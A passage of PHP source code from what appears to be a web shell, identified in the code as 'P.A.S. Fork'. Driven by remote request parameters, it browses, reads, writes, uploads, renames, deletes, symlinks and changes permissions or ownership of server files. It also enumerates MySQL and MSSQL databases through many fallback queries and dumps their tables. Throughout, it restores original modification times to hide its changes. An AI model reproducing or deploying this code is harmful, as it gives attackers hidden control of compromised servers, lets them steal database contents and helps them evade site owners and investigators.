if (isset($D['w'])) {
$r = '#^';
$c = '';
$p = '';
$q = 0;
$b = FALSE;
for ($i = 0, $l = strlen($D['n']); $i < $l; ++$i) {
$c = $D['n'][$i];
if ($q > 0 && $c !== '?') {
$r .= '.';
if ($q > 1)
$r .= '{' . $q . '}';
$q = 0;
}
switch ($c) {
case '*':
if ($c !== $p)
$r .= '.*';
break;
case '?':
++$q;
break;
case '\\':
if ($i + 1 >= $l)
sDie(sprintf($e, 'name'));
$r .= $c . $D['n'][++$i];
break;
case '[':
++$b;
$r .= $c;
break;
case ']':
--$b;
$r .= $c;
break;
case '-':
$r .= $b > 0 ? $c : '\\-';
break;
case '!':
$r .= $p === '[' ? '^' : '\\!';
break;
default:
$r .= addcslashes($c, '.+^$(){}=<>|:#');
break;
}
$p = $c;
}
if ($q > 0) {
$r .= '.';
if ($q > 1)
$r .= '{' . $q . '}';
}
$r .= '$#';
if (isset($D['i']))
$r .= 'i';
if (preg_match($r, '') === FALSE)
sDie(sprintf($e, 'name'));
$a['r'] = $r;
} elseif (isset($D['i']))
$a['i'] = $D['n'];
else
$a['n'] = $D['n'];
}
if (isset($D['t'])) {
if (isset($D['x'])) {
if (preg_match('#' . $D['x'] . '#', '') === FALSE)
sDie(sprintf($e, 'text'));
$a['x'] = '#' . $D['t'] . '#';
if (isset($D['v']))
$a['x'] .= 'i';
} elseif (isset($D['v']))
$a['v'] = $D['t'];
else
$a['t'] = $D['t'];
}
$i = array(
'l',
'd',
'y',
'p',
'u'
);
foreach ($i as $k)
if (isset($D[$k]))
$a[$k] = (int) $D[$k];
$i = array(
'o',
'g',
'z'
);
foreach ($i as $k)
if (isset($D[$k])) {
$s = explode(',', $D[$k]);
foreach ($s as $n => $v)
if (strpos($v, '-')) {
$v = explode('-', $v, 2);
$a[$k][$n] = array(
(int) $v[0],
(int) $v[1]
);
} else
switch (substr(trim($v), 0, 1)) {
case '>':
$a[$k][$n][0] = (int) substr(trim($v), 1);
break;
case '<':
$a[$k][$n][1] = (int) substr(trim($v), 1);
break;
default:
$a[$k][$n] = (int) $v;
break;
}
}
$i = array(
'e',
'm'
);
foreach ($i as $k)
if (isset($D[$k])) {
$s = explode(',', $D[$k]);
foreach ($s as $n => $v)
if (strpos(' - ', $v)) {
$v = explode(' - ', $v, 2);
$a[$k][$n] = array(
strtotime(trim($v[0]) . 'UTC'),
strtotime(trim($v[1]) . 'UTC')
);
} else
switch (substr(trim($v), 0, 1)) {
case '>':
$a[$k][$n][0] = strtotime(substr(trim($v), 1) . 'UTC');
break;
case '<':
$a[$k][$n][1] = strtotime(substr(trim($v), 1) . 'UTC');
break;
default:
$a[$k][$n] = strtotime(trim($v) . 'UTC');
break;
}
}
$s = new Searcher($a);
foreach ($D['s'] as $v)
$s->search($v);
$s->finish();
}
if (isset($D['g'])) {
if ($D['g'] === '~' || $D['g'] === '')
$D['g'] = selfPath();
$i = new FileInfo($D['g']);
if (substr($D['g'], -1) === DSC || $i->isDir()) {
echo '{"p":';
if (substr($D['g'], -1) !== DSC)
$D['g'] .= DSC;
jsonEcho($D['g']);
echo ',"m":', $i->getMode(), ',"f":[';
dirRead($i->getPathName(), 'outFileInfo');
echo ']';
outFileInfo(NULL, TRUE);
sDie('}');
}
echo "\x01\x02";
$b = outFile($D['g']);
echo "\x03\x1E";
if ($b) {
echo "\x06[";
jsonEcho($D['g']);
echo ',', $i->getMode(), ']';
} else
echo "\x15", $D['g'];
sDie("\x17\x04\x10");
}
if (isset($D['i'])) {
jsonFileInfo(new FileInfo($D['i']), TRUE);
sDie();
}
if (isset($D['h'])) {
echo '{';
$a = array();
$t = array();
$e = array();
$b = NULL;
$m = count($D['h']) > 1;
if ($m && isset($D['p']) && substr($D['p'], -1) !== DSC)
$D['p'] .= DSC;
if (isset($D['t']))
$D['t'] = strtotime($D['t'] . 'UTC');
if (isset($D['e']))
$D['e'] = intval($D['e'], 8);
if (isset($D['r']) && isInt($D['r']))
$D['r'] = (int) $D['r'];
if (isset($D['o']) && isInt($D['o']))
$D['o'] = (int) $D['o'];
sort($D['h']);
foreach ($D['h'] as $v) {
if (isset($D['p'])) {
parsePath($v, $s, $n);
if ($m) {
$d = $D['p'];
$p = $d . $n;
} else {
$d = filePath($D['p']);
$p = $D['p'];
}
$c = array();
if (!isset($t[$s])) {
$i = new FileInfo($s);
$i = $i->getMTime();
if ($i)
$c[$s] = $i;
}
if (!isset($t[$d])) {
$i = new FileInfo($d);
$i = $i->getMTime();
if ($i)
$c[$d] = $i;
} else
$i = $t[$d];
if (!isset($D['t']) && $i)
$c[$p] = $i;
if (rename($v, $p)) {
if ($s !== $b) {
echo $b === NULL ? '"r":[' : ']},';
echo '{"p":';
jsonEcho($s);
echo ',"f":[';
$b = $s;
} else
echo ',';
jsonEcho($n);
$t += $c;
$v = $p;
$a[$p] = 1;
} else
$e[$v][] = 'path';
}
if (isset($D['t'])) {
if (touch($v, $D['t']))
$a[$v] = 1;
else
$e[$v][] = 'modified date';
}
if (isset($D['e'])) {
if (chmod($v, $D['e']))
$a[$v] = 1;
else
$e[$v][] = 'permission';
}
if (isset($D['r'])) {
if (chgrp($v, $D['r']))
$a[$v] = 1;
else
$e[$v][] = 'group';
}
if (isset($D['o'])) {
if (chown($v, $D['o']))
$a[$v] = 1;
else
$e[$v][] = 'owner';
}
}
$b = $b !== NULL;
if ($b)
echo ']}]';
if (count($a) > 0) {
if ($b)
echo ',';
else
$b = TRUE;
echo '"c":[{"p":';
foreach ($t as $k => $v)
touch($k, $v);
clearstatcache();
ksort($a);
$p = NULL;
foreach ($a as $v => $k) {
$k = filePath($v);
if ($k !== $p) {
if ($p !== NULL)
echo ']},{"p":';
jsonEcho($k);
echo ',"f":[';
$p = $k;
}
outFileInfo($v);
}
echo ']}]';
outFileInfo(NULL, TRUE);
}
if ($e) {
if ($b)
echo ',';
$b = FALSE;
echo '"e":[';
foreach ($e as $k => $v) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho(implode(', ', $v) . ' for ' . $k);
}
echo ']';
}
sDie('}');
}
if (isset($D['d'])) {
if (is_array($D['d'])) {
$v = new PZIP();
$v->init($D['DBP']);
foreach ($D['d'] as $i)
$v->addPath($i);
$v->close();
}
$v = new FileInfo($D['d']);
if ($v->isDir()) {
$v = new PZIP();
$v->init($D['d']);
$v->addPath($D['d']);
$v->close();
}
if (outFile($D['d']) || defined('CED'))
sDie();
header('Content-Disposition: inline');
header('Content-Type: application/json; charset=' . CSE);
sDie('0');
}
if (isset($D['u'])) {
echo '{';
$a = array();
$e = array();
$b = FALSE;
$k = NULL;
sort($D['u']);
foreach ($D['u'] as $v) {
parsePath($v, $p, $n);
if (!isset($a[$p])) {
$t = new FileInfo($p);
$t = $t->getMTime();
} else
$t = FALSE;
if (delFOD($v)) {
if ($t)
$a[$p] = $t;
if (!$b) {
echo '"r":[';
$b = TRUE;
}
if ($p !== $k) {
if ($k !== NULL)
echo ']},';
echo '{"p":';
jsonEcho($p);
echo ',"f":[';
$k = $p;
} else
echo ',';
jsonEcho($n);
} else
$e[] = $v;
}
if ($b)
echo ']}]';
if ($e) {
if ($b)
echo ',';
echo '"e":[';
foreach ($e as $k => $v) {
if ($k > 0)
echo ',';
jsonEcho($v);
}
echo ']';
}
foreach ($a as $k => $v)
touch($k, $v);
sDie('}');
}
if (!empty($_FILES['f']) || !empty($_REQUEST['f'])) {
if(is_array($_REQUEST['f']) && !isset($_FILES['f'])){
foreach ($_REQUEST['f'] as $k => $v) {
$_FILES['f']['name'][$k] = basename(key($v));
$_FILES['f']['tmp_name'][$k] = $v[$_FILES['f']['name'][$k]];
$_FILES['f']['error'][$k] = 0;
}
}
echo '{';
$a = array();
$b = FALSE;
$i = new FileInfo($D['p']);
$i = $i->getMTime();
foreach ($_FILES['f']['error'] as $k => $v) {
$n = $_FILES['f']['name'][$k];
if ($v === 0) {
$p = $D['p'] . $n;
$t = $_FILES['f']['tmp_name'][$k];
if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || (is_string($c = getFile($t)) && writeFile($p, $c)) || ($t[0] === 'd' && writeFile($p, base64_decode(substr(strrchr($t, ','), 1))))) {
$a[] = $n;
if ($i)
touch($p, $i);
continue;
}
}
if ($b)
echo ',';
else {
$b = TRUE;
echo '"e":[';
}
jsonEcho($v . $n);
}
if ($b)
echo ']';
if (count($a) > 0) {
if ($i) {
touch($D['p'], $i);
clearstatcache();
}
if ($b)
echo ',';
echo '"p":';
jsonEcho($D['p']);
echo ',"f":[';
foreach ($a as $v)
outFileInfo($D['p'] . $v);
echo ']';
outFileInfo(NULL, TRUE);
}
sDie('}');
}
if (isset($D['w'])) {
$a = array();
if (is_file($D['w']) || file_exists($D['w'])) {
$i = new FileInfo($D['w']);
if ($i->isDir())
sDie('{"e":"(path already exists as directory)"}');
} else {
$p = filePath($D['w']);
$i = new FileInfo($p);
$a[$p] = $i->getMTime();
}
$a[$D['w']] = $i->getMTime();
switch ($D['e']) {
case 0:
$v = "\r\n";
break;
case 1:
$v = "\n";
break;
case 2:
$v = "\r";
break;
}
$D['t'] = strtr($D['t'], array(
"\r\n" => $v,
"\r" => $v,
"\n" => $v
));
if (writeFile($D['w'], $D['t'])) {
if(function_exists('opcache_invalidate')) opcache_invalidate($D['w'], true);
foreach ($a as $k => $v)
if ($v)
touch($k, $v);
clearstatcache();
$i = new FileInfo($D['w']);
echo "\x01\x02";
$b = outFile($D['w']);
echo "\x03\x1E";
if ($b) {
echo "\x06";
jsonFileInfo($i, TRUE);
} else
echo "\x15", $D['w'];
sDie("\x17\x04\x10");
}
sDie('{"e":""}');
}
if (isset($D['l'])) {
$p = filePath($D['l']);
$t = new FileInfo($p);
$t = $t->getMTime();
if ($D['t'] == 0 ? symlink($D['p'], $D['l']) : link($D['p'], $D['l'])) {
if ($t) {
if ($D['t'] != 0)
touch($D['l'], $t);
touch($p, $t);
clearstatcache();
}
jsonFileInfo(new FileInfo($D['l']), TRUE);
sDie();
}
sDie('{"e":""}');
}
if (isset($D['m'])) {
if (is_file($D['m']) || is_dir($D['m']) || file_exists($D['m']))
sDie('{"e":"(path already exists)"}');
$p = filePath($D['m']);
$i = new FileInfo($p);
$i = $i->getMTime();
if (mkdir($D['m'], 0755)) {
if ($i) {
touch($D['m'], $i);
touch($p, $i);
clearstatcache();
}
jsonFileInfo(new FileInfo($D['m']), TRUE);
sDie();
}
sDie('{"e":""}');
}
if (isset($D['f'])) {
echo '{';
$a = array();
$m = array();
$c = array();
$b = FALSE;
$t = new FileInfo($D['f']);
$t = $t->getMTime();
if (isset($D['v']))
foreach ($D['v'] as $v) {
$i = new FileInfo($v);
$j = $i->getMTime();
$f = $D['f'] . $i->getFileName();
$s = $i->getPath();
if (!isset($a[$s])) {
$n = new FileInfo($s);
$n = $n->getMTime();
} else
$n = FALSE;
if (rename($v, $f)) {
if ($n)
$a[$s] = $n;
if ($j)
$a[$f] = $j;
$m[$s][] = $i->getFileName();
} else {
if ($b)
echo ',';
else {
echo '"e":[';
$b = TRUE;
}
jsonEcho($v);
}
}
if (isset($D['p']))
foreach ($D['p'] as $v) {
$i = new FileInfo($v);
$f = $D['f'] . $i->getFileName();
if (copy($v, $f) || link($v, $f) || (!$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s))) {
$v = $i->getMTime();
if ($v)
$a[$f] = $v;
$c[] = $i->getFileName();
} else {
if ($b)
echo ',';
else {
echo '"e":[';
$b = TRUE;
}
jsonEcho($v);
}
}
if ($b)
echo ']';
if (count($m) > 0 || count($c) > 0) {
foreach ($a as $k => $v)
touch($k, $v);
if ($t)
touch($D['f'], $t);
clearstatcache();
if ($b)
echo ',';
echo '"p":';
jsonEcho($D['f']);
if (count($m) > 0) {
echo ',"m":[';
$b = FALSE;
foreach ($m as $k => $a) {
if ($b)
echo ',';
else
$b = TRUE;
echo '{"p":';
jsonEcho($k);
outFileInfo(NULL, FALSE);
echo ',"f":[';
foreach ($a as $v)
outFileInfo($D['f'] . $v);
echo ']}';
}
echo ']';
}
if (count($c) > 0) {
echo ',"c":[';
$b = FALSE;
foreach ($c as $v)
outFileInfo($D['f'] . $v);
echo ']';
}
outFileInfo(NULL, TRUE);
}
sDie('}');
}
break;
case 's':
define('T_DMPHDR', "-- \n-- This SQL dump created by P.A.S. Fork v." . VER . "\n-- \n-- Started at %s UTC\n");
define('T_DMPFTR', "-- Finished at %s UTC");
define('E_SLCTDT', "Can't load data from table %s\n");
define('E_CNSTCS', "Can't construct create statement for table %s\n");
define('E_CHNGDB', "Can't change database to %s for dump table %s.%s\n");
class SQLBase {
var $_cnct, $_res;
function connError($m, $h, $u, $p, $b) {
echo '{"e":';
jsonEcho($m ? $m : "Can't connect to SQL server" . ($h === NULL ? '' : ' ' . $h) . ($u === NULL ? '' : ' as user "' . $u . '"') . ($p === NULL ? '' : ' with password "' . $p . '"') . ($b === NULL ? '' : ' and select database "' . $b . '"') . '.');
sDie('}');
}
function getError() {
$v = $this->_cnct->errorInfo();
return $v[2];
}
function tryQueries($a) {
$i = $this->_cnct;
foreach ($a as $v)
if ($this->_res = $i->query($v))
return TRUE;
return FALSE;
}
function fetchAssoc() {
return $this->_res->fetch(PDO::FETCH_ASSOC);
}
function fetchRow() {
return $this->_res->fetch(PDO::FETCH_NUM);
}
function query($v) {
return ($this->_res = $this->_cnct->query($v));
}
function fetchBase() {
return $this->_res->fetchColumn(0);
}
function fetchTable() {
return $this->_res->fetchColumn(0);
}
function getColumnsNames($v) {
$a = array();
if (($v = $this->_cnct->query('SELECT * FROM ' . $v . ' LIMIT 1')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
foreach ($v as $k => $i)
$a[$k] = '';
return $a;
}
return FALSE;
}
function sqlTableSize($v) {
return ($v = $this->_cnct->query('SELECT COUNT(*) FROM ' . $v)) ? $v->fetchColumn(0) : '"?"';
}
function close() {
$this->_cnct = NULL;
}
}
function sqlJoinColumns($a, $f) {
if ($a) {
foreach ($a as $k => $v)
$a[$k] = $f($v);
return implode(',', $a);
}
return '*';
}
function sqlOutCreate($t, $c, $d, $f) {
echo "\nCREATE TABLE ", $f($t), " (\n";
$b = FALSE;
foreach ($c as $k => $v) {
if ($b)
echo ",\n";
else
$b = TRUE;
echo ' ', $f($k), ' ', $v ? $v : $d;
}
echo "\n);\n";
}
function sqlOutInsert($t, $c) {
echo "\nINSERT INTO ", $t;
if ($c !== '*')
echo ' (', $c, ')';
echo ' VALUES';
}
function sqlOutValues($a, $f) {
echo "\n(";
$b = FALSE;
foreach ($a as $v) {
if ($b)
echo ',';
else
$b = TRUE;
if ($v === NULL)
echo 'NULL';
else
echo $f($v);
}
echo ')';
}
function csvOutValues($a) {
$c = 0;
$b = FALSE;
foreach ($a as $v) {
if ($b)
echo ';';
else
$b = TRUE;
if ($v === NULL)
echo '\N';
else {
$v = str_replace(array(
'"',
';',
"\r",
"\n"
), array(
'""',
';',
'\r',
'\n'
), $v, $c);
echo $c > 0 ? '"' . $v . '"' : $v;
}
}
}
function mysqlEscData($v) {
return "'" . str_replace(array(
'\\',
"'",
'"',
"\0",
"\n",
"\r",
"\x1A"
), array(
'\\\\',
"\\'",
'\\"',
'\\0',
'\\n',
'\\r',
'\\Z'
), $v) . "'";
}
function mysqlEscName() {
$a = func_get_args();
foreach ($a as $k => $v)
$a[$k] = '`' . str_replace('`', '``', $v) . '`';
return implode('.', $a);
}
class MySQLBase extends SQLBase {
var $haveSchemas = FALSE, $canPaginate = TRUE;
function charset($k) {
$v = array(
'utf8',
'utf16',
'cp1250',
'cp1251',
'latin1',
'latin5',
'cp1256',
'cp1257',
'latin1',
'latin2',
'greek',
'hebrew',
'latin5',
'latin7',
'big5',
'gbk',
'sjis',
'euckr',
'ujis',
'cp866',
'koi8r',
'koi8u'
);
return isset($v[$k]) ? $v[$k] : 'utf8';
}
function parseCrtTbl($v) {
$a = array();
$n = '`((?:[^`]|``)+)`';
$l = ' \(((?:`(?:[^`]|``)+`,?)+)\)';
$t = '(?: USING (?:BTREE|HASH))?';
$c = '(?:\s+CONSTRAINT(?: `(?:[^`]|``)+)`)?\s+';
$e = '(`(?:[^`]|``)+`)';
preg_match_all('#^\s+' . $n . ' ([a-z]+)((?:\(| ).+)?,?$#Um', $v, $m);
foreach ($m[1] as $k => $i)
$a[$i] = strtoupper($m[2][$k]) . $m[3][$k];
if (preg_match('#^' . $c . 'PRIMARY KEY' . $t . $l . '.*$#Um', $v, $m)) {
preg_match_all('#' . $n . '#', $m[1], $m);
foreach ($m[1] as $i)
$a[$i] .= ', PRIMARY KEY';
}
if (preg_match_all('#^\s+(?:INDEX|KEY)(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m))
foreach ($m[1] as $i => $k) {
if ($k !== '')
$k = ' ' . $k;
preg_match_all('#' . $n . '#', $m[2][$i], $r);
foreach ($r[1] as $i)
$a[$i] .= ', KEY' . $k;
}
if (preg_match_all('#^' . $c . 'UNIQUE(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m))
foreach ($m[1] as $i => $k) {
if ($k !== '')
$k = ' ' . $k;
preg_match_all('#' . $n . '#', $m[2][$i], $r);
foreach ($r[1] as $i)
$a[$i] .= ', UNIQUE KEY' . $k;
}
if (preg_match_all('#^\s+(?:FULLTEXT|SPATIAL)(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $l . '.*$#Um', $v, $m))
foreach ($m[1] as $i => $k) {
if ($k !== '')
$k = ' ' . $k;
preg_match_all('#' . $n . '#', $m[2][$i], $r);
foreach ($r[1] as $i)
$a[$i] .= ', FULLTEXT KEY' . $k;
}
if (preg_match_all('#^' . $c . 'FOREIGN KEY(?: ' . $e . ')?' . $l . ' REFERENCES (`(?:[^`]|``)+` \((?:`(?:[^`]|``)+`,?)+\)).*$#Um', $v, $m))
foreach ($m[1] as $i => $k) {
if ($k !== '')
$k = ' ' . $k;
$k .= ' ' . $m[3][$i];
preg_match_all('#' . $n . '#', $m[2][$i], $r);
foreach ($r[1] as $i)
$a[$i] .= ', FOREIGN KEY' . $k;
}
return $a;
}
function prepType($v) {
$s = ($i = strpos($v[1], '(')) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]);
if ($v[2] === 'NO')
$s .= ' NOT NULL';
if ($v[4] !== NULL)
$s .= ' DEFAULT ' . mysqlEscData($v[4]);
if ($v[5] !== NULL)
$s .= ' ' . strtoupper($v[5]);
switch ($v[3]) {
case 'PRI':
$s .= ' PRIMARY KEY';
break;
case 'UNI':
$s .= ' UNIQUE KEY';
break;
case 'MUL':
$s .= ', KEY(' . mysqlEscName($v[0]) . ')';
break;
}
return $s;
}
function getBases() {
return $this->tryQueries(array(
'SHOW DATABASES',
'SHOW SCHEMAS',
'SELECT schema_name FROM information_schema.schemata',
'SELECT DISTINCT table_schema FROM information_schema.tables',
'SELECT DISTINCT table_schema FROM information_schema.columns'
));
}
function getTables($b) {
$v = mysqlEscData($b);
return $this->tryQueries(array(
'SHOW TABLES FROM ' . mysqlEscName($b),
'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $v,
'SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema=' . $v
));
}
function getColumns($b, $t) {
$a = array();
$e = mysqlEscName($b, $t);
if ($this->tryQueries(array(
'SHOW COLUMNS FROM ' . $e,
'SHOW FIELDS FROM ' . $e,
'DESC ' . $e,
'DESCRIBE ' . $e,
'SELECT column_name,column_type,is_nullable,column_key,column_default,extra FROM information_schema.columns WHERE table_name=' . mysqlEscData($t) . ' AND table_schema=' . mysqlEscData($b)
))) {
while ($v = $this->fetchRow())
$a[$v[0]] = $this->prepType($v);
return $a;
}
if ($this->query('SHOW CREATE TABLE ' . $e) && ($v = $this->fetchRow()))
return $this->parseCrtTbl($v[1]);
return $a;
}
function select($b, $t, $c, $o, $l) {
return $this->query('SELECT ' . sqlJoinColumns($c, 'mysqlEscName') . ' FROM ' . mysqlEscName($b, $t) . ' LIMIT ' . $o . ',' . $l);
}
function outCreateTable($b, $t) {
if ($this->query('SHOW CREATE TABLE ' . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) {
echo "\n", $v[1], ";\n";
return '';
}
if ($v = $this->getColumns($b, $t)) {
sqlOutCreate($t, $v, 'BLOB', 'mysqlEscName');
return '';
}
return sprintf(E_CNSTCS, $b . '.' . $t);
}
}
class MySQLClient extends MySQLBase {
function connect($h, $u, $p, $b, $c) {
if (!($this->_cnct = mysql_connect($h, $u, $p)))
return FALSE;
mysql_query('SET NAMES ' . $this->charset($c), $this->_cnct);
if ($b !== NULL && !mysql_select_db($b, $this->_cnct))
return mysql_query('USE ' . mysqlEscName($b), $this->_cnct);
return TRUE;
}
function getError() {
if ($this->_cnct) {
$v = mysql_error($this->_cnct);
mysql_close($this->_cnct);
return $v;
}
return mysql_error();
}
function tryQueries($a) {
foreach ($a as $v)
if ($this->_res = mysql_query($v, $this->_cnct))
return TRUE;
return FALSE;
}
function getBases() {
return (($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases());
}
function fetchBase() {
return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function fetchTable() {
return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function getTables($b) {
return (($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b));
}
function getTableSize($b, $t) {
return ($v = mysql_query('SELECT COUNT(*) FROM ' . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : '"?"';
}
function getColumns($b, $t) {
if ($a = parent::getColumns($b, $t))
return $a;
$e = mysqlEscName($b, $t);
$q = FALSE;
if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query('SELECT * FROM ' . $e . ' LIMIT 0', $this->_cnct))) {
if ($v = mysql_fetch_field($q)) {
do {
$s = $v->type === 'string' ? 'TEXT' : strtoupper($v->type);
if ($v->unsigned)
$s .= ' UNSIGNED';
if ($v->zerofill)
$s .= ' ZEROFILL';
if ($v->not_null)
$s .= ' NOT NULL';
if (isset($v->def) && $v->def !== '' && $v->def !== NULL)
$s .= ' DEFAULT ' . mysqlEscData($v->def);
if ($v->primary_key)
$s .= ' PRIMARY KEY';
elseif ($v->unique_key)
$s .= ' UNIQUE KEY';
elseif ($v->multiple_key)
$s .= ', KEY(' . mysqlEscName($v->name) . ')';
$a[$v->name] = $s;
} while ($v = mysql_fetch_field($q));
return $a;
}
if (is_string($v = mysql_field_name($q, 0))) {
$i = 0;
do {
if (is_string($s = mysql_field_type($q, $i)))
$a[$v] = $s === 'string' ? 'TEXT' : strtoupper($s);
if (($a[$v] === 'INT' || $a[$v] === 'REAL') && ($s = mysql_field_len($q, $i)))
$a[$v] .= '(' . $s . ')';
if (is_string($s = mysql_field_flags($q, $i))) {
if (strpos($s, 'unsigned') !== FALSE)
$a[$v] .= ' UNSIGNED';
if (strpos($s, 'zerofill') !== FALSE)
$a[$v] .= ' ZEROFILL';
if (strpos($s, 'not_null') !== FALSE)
$a[$v] .= ' NOT NULL';
if (strpos($s, 'auto_increment') !== FALSE)
$a[$v] .= ' AUTO_INCREMENT';
if (strpos($s, 'primary_key') !== FALSE)
$a[$v] .= ' PRIMARY KEY';
elseif (strpos($s, 'unique_key') !== FALSE)
$a[$v] .= ' UNIQUE KEY';
elseif (strpos($s, 'multiple_key') !== FALSE)
$a[$v] .= ', KEY(' . mysqlEscName($v) . ')';
}
} while (is_string($v = mysql_field_name($q, ++$i)));
return $a;
}
}
if (($v = mysql_query('SELECT * FROM ' . $e . ' LIMIT 1', $this->_cnct)) && ($v = mysql_fetch_assoc($v))) {
foreach ($v as $k => $s)
$a[$k] = '';
return $a;
}
return FALSE;
}
function fetchAssoc() {
return mysql_fetch_assoc($this->_res);
}
function fetchRow() {
return mysql_fetch_row($this->_res);
}
function query($v) {
return ($this->_res = mysql_query($v, $this->_cnct));
}
function dump($b, $t, $c, $f) {
if ($f)
$i = $this->outCreateTable($b, $t);
$c = sqlJoinColumns($c, 'mysqlEscName');
if (($q = mysql_unbuffered_query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) {
if ($f)
sqlOutInsert(mysqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mysqlEscData');
else
csvOutValues($v);
} while ($v = mysql_fetch_row($q));
if ($f)
echo ";\n";
mysql_free_result($q);
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $t);
return $i;
}
function close() {
mysql_close($this->_cnct);
}
}
class MySQLiClient extends MySQLBase {
function connect($h, $u, $p, $b, $c) {
if ($h !== NULL && ($v = strrpos($h, ':'))) {
$t = (int) substr($h, $v + 1);
$h = substr($h, 0, $v);
} else
$t = NULL;
if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t)))
return FALSE;
mysqli_query($this->_cnct, 'SET NAMES ' . $this->charset($c));
return TRUE;
}
function getError() {
if ($this->_cnct) {
$v = mysqli_error($this->_cnct);
mysqli_close($this->_cnct);
return $v;
}
return mysqli_connect_error();
}
function tryQueries($a) {
foreach ($a as $v)
if ($this->_res = mysqli_query($this->_cnct, $v))
return TRUE;
return FALSE;
}
function fetchBase() {
return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function fetchTable() {
return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function getTableSize($b, $t) {
if ($v = mysqli_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mysqlEscName($b, $t))) {
$v = mysqli_fetch_row($v);
return $v[0];
}
return '"?"';
}
function getColumns($b, $t) {
if ($a = parent::getColumns($b, $t))
return $a;
$e = mysqlEscName($b, $t);
$q = FALSE;
if ($q = mysqli_query($this->_cnct, 'SELECT * FROM ' . $e . ' LIMIT 1')) {
$y = array(
'DECIMAL',
'TINYINT',
'SMALLINT',
'INT',
'FLOAT',
'DOUBLE',
'NULL',
'TIMESTAMP',
'BIGINT',
'MEDIUMINT',
'DATE',
'TIME',
'DATETIME',
'YEAR',
'NEWDATE',
16 => 'BIT',
246 => 'DECIMAL',
247 => 'ENUM',
248 => 'SET',
249 => 'TINY',
250 => 'MEDIUM',
251 => 'LONG',
252 => '',
253 => 'VARCHAR',
254 => 'CHAR',
255 => 'GEOMETRY'
);
if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) {
$v = array();
do {
$v[] = $i;
} while ($i = mysqli_fetch_field($q));
}
if ($v) {
foreach ($v as $i) {
if ($i->type > 248 && $i->type < 253)
$s = $y[$i->type] . (($i->flags & 16) ? 'BLOB' : 'TEXT');
else
$s = isset($y[$i->type]) ? $y[$i->type] : 'BLOB';
if ($i->flags & 32768) {
$s .= '(' . $i->length;
if ($i->decimals)
$s .= ',' . $i->decimals;
$s .= ')';
}
if ($i->flags & 32)
$s .= ' UNSIGNED';
if ($i->flags & 64)
$s .= ' ZEROFILL';
if ($i->flags & 1)
$s .= ' NOT NULL';
if (isset($i->def) && $i->def !== '' && $i->def !== NULL)
$s .= ' DEFAULT ' . mysqlEscData($i->def);
if ($i->flags & 512)
$s .= ' AUTO_INCREMENT';
if ($i->flags & 2)
$s .= ' PRIMARY KEY';
elseif (($i->flags & 4) || ($i->flags & 65536))
$s .= ' UNIQUE KEY';
elseif (($i->flags & 8) || ($i->flags & 16384))
$s .= ', KEY(' . mysqlEscName($i->name) . ')';
$a[$i->name] = $s;
}
return $a;
}
if ($v = mysqli_fetch_assoc($q)) {
foreach ($v as $k => $i)
$a[$k] = '';
return $a;
}
}
return FALSE;
}
function fetchAssoc() {
return mysqli_fetch_assoc($this->_res);
}
function fetchRow() {
return mysqli_fetch_row($this->_res);
}
function query($v) {
return ($this->_res = mysqli_query($this->_cnct, $v));
}
function dump($b, $t, $c, $f) {
if ($f)
$i = $this->outCreateTable($b, $t);
$c = sqlJoinColumns($c, 'mysqlEscName');
if (($q = mysqli_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) {
if ($f)
sqlOutInsert(mysqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mysqlEscData');
else
csvOutValues($v);
} while ($v = mysqli_fetch_row($q));
if ($f)
echo ";\n";
mysqli_free_result($q);
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $t);
return $i;
}
function close() {
mysqli_close($this->_cnct);
}
}
function mssqlEscData($v) {
return "'" . str_replace("'", "''", $v) . "'";
}
function mssqlEscName() {
$a = func_get_args();
foreach ($a as $k => $v)
$a[$k] = '[' . str_replace(']', ']]', $v) . ']';
return implode('.', $a);
}
class MSSQLBase extends SQLBase {
var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL;
function getBases() {
return $this->tryQueries(array(
'SELECT name FROM sys.databases',
'SELECT name FROM sys.sysdatabases',
'SELECT name FROM master.dbo.sysdatabases',
'EXEC sp_oledb_database',
'EXEC master.dbo.sp_msdbuseraccess "db"',
'EXEC master.sys.sp_msdbuseraccess "db"',
"EXEC sp_msforeachdb 'SELECT ''?'''",
'EXEC sp_helpdb',
'EXEC sp_databases',
'EXEC sp_oledb_defdb',
'SELECT DISTINCT catalog_name FROM information_schema.schemata',
'SELECT DB_NAME()'
));
}
function getSchemas($b) {
return $this->tryQueries(array(
'SELECT NULL,schema_name FROM information_schema.schemata',
'SELECT NULL,name FROM sys.schemas',
